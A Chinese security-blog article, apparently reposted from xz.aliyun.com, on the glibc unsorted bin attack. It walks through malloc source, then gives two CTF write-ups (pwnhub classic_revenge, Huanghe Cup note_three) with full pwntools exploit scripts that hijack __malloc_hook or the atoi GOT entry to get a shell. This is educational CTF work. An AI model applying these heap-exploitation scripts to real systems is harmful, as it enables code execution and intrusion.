深入理解unsorted bin attack
2020-03-04 10:17:37 Author: xz.aliyun.com(查看原文) 阅读量:522 收藏

前言

unsorted bin attack作为一种久远的攻击方式常常作为其他攻击方式的辅助手段,比如修改global_max_fast为一个较大的值使得几乎所有大小的chunk都用fast bin的管理方式进行分配和释放,又或者修改_IO_list_all来伪造_IO_FILE进行攻击。在上述攻击的利用过程中我们实际上并不需要对unsorted bin的分配过程有太多的了解。最近复现以前比赛未能完成的题目做到了pwnhub 2019万圣节公开赛classic_revenge,其中非常巧妙地利用了unsorted bin attack。联想去年黄鹤杯的一道题目,决定总结一下unsorted bin attack中容易被忽略的部分。

源码分析

unsorted bin也是以链表的方式进行组织的,和fast bin不同的是其分配方式是FIFO,即一个chunk放入unsorted bin链时将该堆块插入链表头,而从这个链取堆块的时候是从尾部开始的,因此unsorted bin遍历堆块的时候使用的是bk指针。

从下面源码可以看出首先取链表尾部的chunk记作victim,倒数第二个chunk记作bck,首先要对victimsize位进行检查,这个约束比较宽松,计算得到chunk实际大小。一个代码块是假如我们申请的chunk属于small bin的范围,且last remainderunsorted bin的唯一一个chunk时,我们优先使用这个块,如果该块满足条件则对其进行切割和解链操作。

如果上述条件不满足,则将victim从链中取出之后放到合适的链中或返回给用户。其中unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);unsorted bin attack产生的原因,一旦我们绕过之前的检查到达这里,在可以控制victim->bkbck的情况下我们可以往bck->fd写入unsorted_chunks(av)*(bck+0x10)=unsorted(av)

继续走,下面一个代码块是指如果我们请求的nbvictim的大小恰好吻合,就直接返回这个块给用户。

如果之前的条件都不满足,意味着目前的victim不能满足用户的需求,需要根据其size放入small binlarge bin的链,其中在后者实现中存在large bin attack,由于同本文无关就不再进一步展开,最后是unlinkvictim彻底解链。

while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          //size check
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);

          /*
             If a small request, try to use last remainder if it is the
             only chunk in unsorted bin.  This helps promote locality for
             runs of consecutive small requests. This is the only
             exception to best-fit, and applies only when there is
             no exact fit for a small chunk.
           */
          //last remainder first
          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
            {
              /* split and reattach remainder */
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);
              //cut and put the remained part back to unsorted list
              unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
              av->last_remainder = remainder;
              remainder->bk = remainder->fd = unsorted_chunks (av);
              if (!in_smallbin_range (remainder_size))
                {
                  remainder->fd_nextsize = NULL;
                  remainder->bk_nextsize = NULL;
                }

              set_head (victim, nb | PREV_INUSE |
                        (av != &main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);

              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              //return to user
              return p;
            }

          /* remove from unsorted list */
          //unsorted bin attack
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

          /* Take now instead of binning if exact fit */

          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &main_arena)
                victim->size |= NON_MAIN_ARENA;
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }

          /* place chunk in bin */

          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert ((fwd->size & NON_MAIN_ARENA) == 0);
                      while ((unsigned long) size < fwd->size)
                        {
                          fwd = fwd->fd_nextsize;
                          assert ((fwd->size & NON_MAIN_ARENA) == 0);
                        }

                      if ((unsigned long) size == (unsigned long) fwd->size)
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

#define MAX_ITERS       10000
          if (++iters >= MAX_ITERS)
            break;
        }

pwnhub 2019 公开赛 classic_revenge

前言

这道题目在比赛的时候最先放出的附件有些问题,可以leak出栈地址,进而产生非预期解,更新附件之后再无新解,在review的时候我也受分配次数限制所恼,但又想学习作者提到的新的攻击方式,因此手动patch了分配的次数上限,然后就可以愉快的分配/释放了,原题是限制在10次以内完成攻击,有复现成功的大佬可以留言让俺学习一下。

程序分析

checkseck可以看到程序开启了所有常见保护。

程序有三个功能,分别是AddDeleteShow

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char choice; // [rsp+3h] [rbp-3Dh]
  int size; // [rsp+4h] [rbp-3Ch]
  void *buf; // [rsp+8h] [rbp-38h]
  char s; // [rsp+10h] [rbp-30h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  Init();
  memset(&s, 0, 0x10uLL);
  write(1, "welcome to ziiiro's classical heap quiz\n", 0x28uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      read(0, &choice, 1uLL);
      if ( choice != 2 )
        break;
      Free();
    }
    if ( choice == 3 )                          // show
    {
      if ( !dword_202040 )
      {
        dword_202040 = 1;
        get_input1((__int64)&s, 0x10);
        buf = xxtea((__int64)&s, 0x10LL, (__int64 *)key, (__int64)&size);
        write(1, buf, size);
      }
    }
    else if ( choice == 1 )
    {
      Add(0LL, (__int64)&choice);
    }
  }
}

Add可以分配[0,0xff]大小的chunk,并自动分配一个0x10大小的nodenode的前八字节用户可写,后八字节存储chunk地址(这里原题分配次数0x55->9)

__int64 __fastcall Add(__int64 a1, __int64 a2)
{
  __int64 result; // rax
  int count; // [rsp+0h] [rbp-10h]
  int size; // [rsp+4h] [rbp-Ch]
  void *chunk_addr; // [rsp+8h] [rbp-8h]
  void *chunk_addr2; // [rsp+8h] [rbp-8h]

  result = (unsigned int)dword_20203C;
  if ( dword_20203C <= 0x55 )
  {
    count = dword_20203C;
    chunk_addr = malloc(0x10uLL);
    if ( !chunk_addr )
      err();
    qword_202060[count] = chunk_addr;
    read(0, (void *)qword_202060[count], 8uLL);
    size = read_int();
    if ( size <= 0 || size > 0xFF )
      err();
    chunk_addr2 = malloc(size);
    if ( !chunk_addr2 )
      err();
    *(_QWORD *)(qword_202060[count] + 8LL) = chunk_addr2;
    read(0, *(void **)(qword_202060[count] + 8LL), size);
    result = (unsigned int)(dword_20203C++ + 1);
  }
  return result;
}

Delete函数有double free,只会释放chunk且不清空bss上的node地址。

void Free()
{
  int idx; // [rsp+Ch] [rbp-4h]

  idx = read_int();
  if ( idx >= 0 && idx <= 85 )
  {
    if ( qword_202060[idx] )
      free(*(void **)(qword_202060[idx] + 8LL));
  }
}

Show函数将输入用xxtea加密后输出,逆向可以看到密钥就放在bss上,注意这里在处理数据的时候用了一次memcpy拷贝了28字节的数据进行加密,而我们输入的长度为0x10,这里会多泄露出一些栈上的数据,gdb调试可以看到是程序加载基址相关的一个地址,因此我们可以计算得到程序加载基址。

_DWORD *__fastcall HandleData(const void *stack_addr, size_t input_sz, int One, size_t *stack_addr2)
{
  signed __int64 v4; // rax
  size_t v6; // rax
  size_t *stack_addr2_1; // [rsp+0h] [rbp-30h]
  size_t n; // [rsp+10h] [rbp-20h]
  _DWORD *dest; // [rsp+20h] [rbp-10h]
  size_t nmemb; // [rsp+28h] [rbp-8h]
  size_t nmemba; // [rsp+28h] [rbp-8h]

  stack_addr2_1 = stack_addr2;
  if ( One )
  {
    n = input_sz | 8;                           // 0x18
    if ( ((unsigned __int8)input_sz | 8) & 3 )
      v4 = (n >> 2) + 1;
    else
      v4 = n >> 2;
    nmemb = v4;                                 // 6
    dest = calloc(v4 + 1, 4uLL);                // 7 * 4
    if ( !dest )
      return 0LL;
    dest[nmemb] = n;                            // 最后一个位置放sz
    *stack_addr2_1 = nmemb + 1;                 // 7
    memcpy(dest, stack_addr, n);                // 越界拷贝28
  }
  else
  {
    if ( input_sz & 3 )
      v6 = (input_sz >> 2) + 1;
    else
      v6 = input_sz >> 2;                       // 4
    nmemba = v6;
    dest = calloc(v6, 4uLL);                    // 4*4
    if ( !dest )
      return 0LL;
    *stack_addr2_1 = nmemba;                    // 4
    memcpy(dest, stack_addr, input_sz);         // copy 0x10 key 
  }
  return dest;
}

/*
0000000000001538 6D                      global_key      db  6Dh ; m             ; DATA XREF: .data:key↓o
.rodata:0000000000001539 CC                                      db 0CCh
.rodata:000000000000153A 54                                      db  54h ; T
.rodata:000000000000153B 68                                      db  68h ; h
.rodata:000000000000153C 0E                                      db  0Eh
.rodata:000000000000153D 7D                                      db  7Dh ; }
.rodata:000000000000153E BB                                      db 0BBh
.rodata:000000000000153F A4                                      db 0A4h
.rodata:0000000000001540 8F                                      db  8Fh
.rodata:0000000000001541 8F                                      db  8Fh
.rodata:0000000000001542 0B                                      db  0Bh
.rodata:0000000000001543 66                                      db  66h ; f
.rodata:0000000000001544 A5                                      db 0A5h
.rodata:0000000000001545 29                                      db  29h ; )
.rodata:0000000000001546 48                                      db  48h ; H
.rodata:0000000000001547 71                                      db  71h ; q
*/

漏洞利用

首先提一下非预期,泄露出栈地址之后可以用fast bin attack劫持堆块到栈上,劫持的地址选择read函数的返回地址所在栈地址前的某个包含0x7f数据的地方,进而可以修改read函数返回地址部分写到write(1/16),泄露出程序加载基址(原附件没有给程序基址),再往后可以用相同方式劫持这个返回地址,用rop泄露出libc基址,修改bss上的Add限制次数,最后fast bin attack__malloc_hookone_gadget,详情可以参见v1ct0r->万圣节Pwnhub一道题

预期的解法是House of Roman,这种攻击方式一般是存在UAF而无法泄露libc地址时使用的,其攻击原理及示例可以参见House of Roman。我简单概括一下这种攻击手段的一般思路。

  1. 释放一个unsorted binub,使用堆溢出或者off-by-one修改其size为0x71
  2. 释放两个大小为0x70的chunk1和chunk2,部分写chunk2的fd为ub将其链入fastbin[0x70]
  3. UAF部分写ub->fd__malloc_hook-0x23(fake_chunk)
  4. 分配三个0x70大小的chunk即可得到__malloc_hook-0x23
  5. unsorted bin attack修改__malloc_hookmain_arena+88
  6. Edit __malloc_hook(partial overwrite)one_gadget

这种攻击方式需要爆破12bit,在无法泄露libc的时候以此来绕过ALSR

然而仔细研究House of Roman可以发现我们需要有一个Edit功能,用以在unsorted bin attack之后部分写__malloc_hook,这个功能本题并未实现,然而我们是有办法在unsorted bin attack之后得到—__malloc_hook并直接部分写的。

再仔细观察一下源码会发现unsorted bin遍历是一个循环,在我们第一轮找到的victim大小不合适时会继续依循bk指针向后寻找的,我们将第一个unsorted binbk改为__malloc_hook-0x10,再在__malloc_hook-8处布置一个size,这个size正为用户所求,则在第一轮的初步解链过程中会触发unsorted bin attack(__malloc_hook-0x10)->fdmain_arene+88,因此时第一个victim的size不满足要求,会找到__malloc_hook-0x10这个伪造的chunk,如果其size位满足要求,则直接返回给用户,故我们可以得到__malloc_hook

此外,在第二轮将这个chunk返回给用户前同样有一个往(__malloc_hook-0x10)->bck的0x10偏移处写值的操作,因此我们要在__malloc_hook+8处布置一个可写地址,由于之前我们泄露得到了程序加载地址,这里填个bss地址即可。

最后,整理一下完整的攻击链(下面有几个关键步骤的调试截图供大家对比(关闭地址随机化echo 0 > /proc/sys/kernel/randomize_va_space)):

  1. 多次分配0x10的块并释放,这样之后分配node都是走之前的fast bin,不会影响后面的chunk布局
  2. 使用fast bin attack修改一下原本为0x30大小的chunk的size为0x141,构造overlapping chunk
  3. 释放一个块到unsorted bin,记作ub,通过2中的这个块释放又分配可以把ub的size改为0x71,fd部分写为__malloc_hook-0x23

  1. double free两个大小为0x70的块,部分写fd为ub
  2. 连续分配四个0x70的堆块,在第四次分配中我们得到了__malloc_hook-0x23,改__malloc_hook-80xa1,改__malloc_hook+8.bss;第三次分配中我们可以根据堆块错位改unsorted binbk_malloc_hook-0x10
  3. 分配大小为0xa0的块,此时unsorted bin的大小为0x90不满足要求而我们__mlaooc_hook-8size为0xa1,故返回__malloc_hook进而可以部分写为one_gadget

exp.py

#coding=utf-8
from pwn import *
import commands
import base64

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./classic_revenge')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]

if debug:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./classic_revenge')

else:
    libc = ELF('./x64_libc.so.6')
    p = remote('f.buuoj.cn',20173)

def decrypt(v,n,key):
    DELTA = 0x9E3779B9
    n = n-1
    z = v[n]
    y = v[0]
    q = 6 + 52 // (n + 1)
    sum1 = (q * DELTA) & 0xffffffff
    while (sum1 != 0):
        e = sum1 >> 2 & 3
        for p in xrange(n, 0, -1):
            z = v[p - 1]
            v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[p & 3 ^ e] ^ z))) & 0xffffffff
            y = v[p]
        z = v[n]
        v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum1 ^ y) + (key[0 & 3 ^ e] ^ z))) & 0xffffffff
        y = v[0]
        sum1 = (sum1 - DELTA) & 0xffffffff
    return v

def Add(size,content,name=p64(0x21)):
    sleep(0.01)
    p.send('\x01')
    sleep(0.01)
    p.send(name)
    sleep(0.01)
    p.sendline(str(size))
    sleep(0.01)
    p.send(content)

def Show(content):
    sleep(0.01)
    p.send('\x03')
    sleep(0.01)
    p.send(content)

def Delete(index):
    sleep(0.01)
    p.send('\x02')
    sleep(0.01)
    p.sendline(str(index))

def Dec(enc,size):

    rounds = 6 + 52 / n
    DELTA = 0x9E3779B9
    sum1 = (rounds*DELTA) & 0xffffffff
    y = enc[0] & 0xffffffff
    while(rounds>0):
        e = (sum1 >> 2) & 3
        for i in xrange(n,0,-1):
            z = enc[i-1] & 0xffffffff
            enc[i] -= (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum1^y) + (key[(i&3)^e] ^ z)));
            enc[i] &= 0xffffffff
            y = enc[i]
        z = enc[n-1] & 0xffffffff
        enc[0] -= (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum1^y) + (key[(i&3)^e] ^ z)))
        enc[0] &= 0xffffffff
        y = enc[0]
        sum1 -= DELTA
        sum1 &= 0xffffffff
        rounds -= 1
    return enc

def exp():
    #leak libc
    p.recvuntil("welcome to ziiiro's classical heap quiz\n")
    v = list()
    Show('a'*0x20)
    for i in range(7):
        v.append(u32(p.recvn(4)))
    k = [0x6854CC6D,0x0A4BB7D0E,0x660B8F8F,0x714829A5]
    n = 0x7
    h = decrypt(v,n,k)
    addr = h[4]+(h[5]<<32)
    print hex(addr)
    code_base = addr - 0x14b0
    log.success("code base => " + hex(code_base))
    #fastbin for __malloc_hook
    for i in range(0x18):
        Add(0x10,'0')
    for i in range(0x18):
        Delete(i)
    #start from 24
    Add(0x38,p64(0x31)*7)#24
    Add(0x28,p64(0x21)*5)#25->change to 0x141
    Add(0x28,p64(0x31)*5)#26
    Add(0x28,p64(0x31)*5)#27
    Add(0x88,p64(0x21)*17)#28
    Add(0x68,p64(0x21)*17)#29
    Add(0x68,p64(0x21)*13)#30
    Add(0x28,p64(0x31)*5)#31
    Add(0xc0,p64(0x31)*24)#32

    Delete(27)
    Delete(26)
    Delete(27)

    Add(0x28,'\xb0')#33
    Add(0x28,'16')#34
    Add(0x28,'17')#35

    Add(0x28,p64(0)+p64(0x141))#36

    Delete(28)
    Delete(25)
    Add(0xa0,p64(0x21)*16+p64(0)+p64(0x71)+'\xed\x1a')#37

    Delete(30)
    Delete(29)
    Delete(30)
    Add(0x68,'\x50')#38

    Add(0x88,'\xed\x1a')

    Add(0x68,p64(0x21)*2+p64(0x90)+p64(0x20)+p64(0x21)*9)
    Add(0x68,p64(0x21)*2+p64(0x90)+p64(0x20)+p64(0x21)*9)
    Add(0x68,p64(0x21)*2+p64(0)+p64(0x91)+p64(0)+'\x00')

    Add(0x68,'\x00'*(0x13-8)+p64(0xa1)+p64(0)+p64(code_base+0x202000))

    #Add(0x98,'\x16\22\xa5')
    Add(0x98,'\xa4\xd2\xaf')
    gdb.attach(p)

    Delete(0)
    Delete(0)
    #unsorted bin attack
    p.interactive()

exp()

2019武汉"黄鹤杯" note_three

前言

这个比赛是去年的,跟着e3pem学长学到了更有趣的unsorted bin attack的利用。

程序分析

程序没开PIE,且为Partial RELRO,依然是glibc 2.23下的利用。

程序只有两个功能,newedit,其中new可以分配[0,0x90]大小的chunk

new函数读取用户输入到byte_6020C0,使用strdup来分配堆块,在byte_6020C0+0x100之后的空间存储chunk_addrsize。这里分配大小是由输入的长度决定的,而不是开始输入的size,因此在Edit里存在堆溢出。

int new()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  result = read_int();
  v1 = result;
  if ( result != -1 )
  {
    printf("size: ");
    result = input_number();
    v2 = result;
    if ( result >= 0 && result <= 0x90 )
    {
      *(_QWORD *)&byte_6020C0[16 * v1 + 0x100] = MyMalloc(result);
      result = v2;
      *(_QWORD *)&byte_6020C0[16 * v1 + 0x108] = v2;
    }
  }
  return result;
}

__int64 edit()
{
  __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  result = read_int();                          // idx没有检查
  v1 = result;
  if ( (_DWORD)result != -1 )
  {
    result = *(_QWORD *)&byte_6020C0[16 * (signed int)result + 0x100];
    if ( result )
    {
      printf("content: ");
      result = get_input(*(void **)&byte_6020C0[16 * v1 + 0x100], *(_QWORD *)&byte_6020C0[16 * v1 + 0x108]);
    }
  }
  return result;
}

char *__fastcall MyMalloc(unsigned int size)
{
  memset(byte_6020C0, 0, 0x100uLL);
  printf("content: ", 0LL);
  get_input(byte_6020C0, size);
  return strdup(byte_6020C0);
}

漏洞利用

看到这里会发现这道题目和Hitcon CTF的那道经典的House-of-orange差不多,但是由于没有了Show函数,我们无法用那种文件伪造的方式一把梭。这里就要借助unsorted bin attack了,我们前面可以按照HOF的思路改掉top_chunksize,借助多次分配让其掉入unsorted bin,之后堆溢出就可以修改unsorted bin->bk实现攻击了,然而这个攻击方式只不过是写一个libc地址到一个位置罢了emm,但是各位需要注意的是我们写的这个地址是main_arena+88,这个地址在main_arena里代表的是top_chunk。如果我们能往bss的heap_list上写上这个地址,之后就可以通过Edit劫持top_chunkgot表,进而可以修改got表的内容。

需要注意的是我们仍需要绕过检查,其中很重要的检查就是在之前题目提到的bck需要是一个可写的地址。这点很容易做到,我们的输入首先会放在bss上,完全可以通过输入伪造fake_chunk及其bk对应的堆块。

故最终的利用思路是将main_arena+88改为atoi@got-0x10,即top_chunk被改为此处,分配到aoti之后Edit改成printf,用%p泄露libc地址,再修改atoi到system拿shell。

exp.py

#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./note_three')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./note_three')

else:
    libc = ELF('./libc-2.23.so')

def New(idx,size,content):
    p.recvuntil('choice>> ')
    p.sendline('1')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("content: ")
    p.send(content)

def Edit(idx,content):
    p.recvuntil('choice>> ')
    p.sendline('2')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("content: ")
    p.send(content)

def exp():
    #leak libc
    #gdb.attach(p,'b* 0x400a97')
    for i in range(23):
        New(0,0x88,"0"*0x88)

    New(0,0x88,"0")#0
    New(1,0x88,"1"*0x80)#1 0x90
    New(2,0x88,'a'*0x30)#2
    Edit(2,'a'*0x30+p64(0)+p64(0xb1))

    New(0,0x90,"0"*0x90)
    #ub
    New(0,0x88,"a")#0
    heap_lis = 0x6020c0+0x100
    Edit(0,"a"*0x10+p64(0)+p64(0x71)+p64(0)+p64(heap_lis-0x10))
    New(1,0x68,'a'*0x60)
    #fake top
    Edit(0,p64(0x602048)+p64(0)+p64(0x6020c0+0x70)*2)
    gdb.attach(p)
    New(2,0x90,'a'*0x78+p64(0x91)+p64(0x6021b0)*2)
    atoi_got = elf.got['atoi']
    payload = 'a'*0x80+p64(0x6021c0)+p64(0x100)
    Edit(2,payload)
    printf_plt = elf.plt['printf']
    #New(1,0x78,"a"*0x78)
    Edit(0,p64(atoi_got)+p64(0x100)+p64(atoi_got))

    Edit(1,p64(printf_plt))
    #gdb.attach(p)
    #leak
    p.recvuntil("choice>> ")
    p.sendline("%19$p")
    p.recvuntil("0x")
    libc_base = int(p.recvline().strip("\n"),16) - 240 - libc.sym["__libc_start_main"]
    log.success("libc base => " + hex(libc_base))
    #get shell
    p.recvuntil("choice>> ")
    p.sendline("1")
    p.recvuntil("idx:")
    p.sendline()
    p.recvuntil("content: ")
    p.sendline(p64(libc_base+libc.sym["system"]))
    p.recvuntil("choice>> ")
    p.sendline("/bin/sh\x00")
    p.interactive()

exp()

总结

unsorted bin attack不仅仅是起到将一个地址写入一个libc地址的目的,在修改_IO_list_all时,我们可以根据成员变量推断出伪造的文件结构体的_chainsmall bin[0x60]进而伪造vtable;在构造得当时,即使没有UAF也可以实现House-of-Roman;在能够编辑的情况下劫持top_chunk控制堆块分配也是一种新奇的利用方式。


文章来源: http://xz.aliyun.com/t/7251
如有侵权请联系:admin#unsafe.sh